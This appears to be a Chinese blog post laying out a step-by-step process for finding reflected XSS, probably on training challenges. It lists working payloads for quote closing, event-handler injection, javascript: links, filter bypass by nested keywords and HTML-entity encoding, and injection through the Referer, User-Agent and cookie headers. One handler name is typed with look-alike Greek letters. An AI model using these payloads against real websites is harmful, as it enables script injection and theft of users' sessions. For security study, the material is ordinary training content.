2 3 4 5 6 7 8 9 10 11 12

XSS的基本判断流程

  1. 判断是否为引号闭合,是单还是双
'">
  1. 接着使用正常的xss语句(当为双引号闭合的情况)
"><script>alert('1')</script>
  1. 不行就用HTML事件
"oninput="alert('yes')
  1. 或用鼠标触发事件
"onclick="window.alert()
  1. 以上都不行就使用伪链接
"><a hRef=javascript:alert('yes')>链接</a>
  1. 对于那些过滤掉的字符

    在被过滤字符中都插入一段过滤字符,当插入的字符被过滤后,过滤结果仍然可以组合成为脚本语句:

    "><scrscriptipt>alert("yes")</scrscriptipt>
    
  2. 以上都不行时,可以考虑换一种编码方式进行绕过。例:将p转码

javascri&#x70;t:alert()       --html编码
  1. 对url进行了匹配

在编码后添加http://www.baidu.com,为了不影响javascript代码,在url前加javascript的单行注释符//,便于javascript代码正常执行。

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://www.baidu.com
  1. 输入框被隐藏

    左侧第一个双引号用来闭合 value属性的左双引号,代码确实添加了点击事件 , 但输入框被隐藏 , 点击不了,这时需要再追加一个 type属性 , 使输入框显示出来 .

"onclick=alert(1) type=text
  1. 读取了HTTP请求包的Referer

将Referer修改为Payload:

"type="text" onclick="alert(1)
  1. 修改 User-agent , 添加点击事件

修改 User-agent , 添加点击事件 , 并修改type属性 使input输入框展示,Payload:

"onclick=alert(1) type=text
  1. 修改cookie的值
"onclick=alert(1) type=text
  1. img标签的报错事件
<img src=x οnerrοr=alert(1)>'
  1. 超链接 a 标签中的 href
<a href="javascript:alert(1)">
  1. embed标签,发现使用url进行传参

利用传参 和 鼠标事件onmouseover(鼠标移动至指定元素触发)来触发弹窗

arg02= onmouseover=alert(1)
  1. 手动添加 鼠标事件 onmouseover=alert(1)事件
<embed src="……" onmouseover="alert(1)">
posted @ 2021-11-14 10:35  MrDevil  阅读(416)  评论(0)    收藏  举报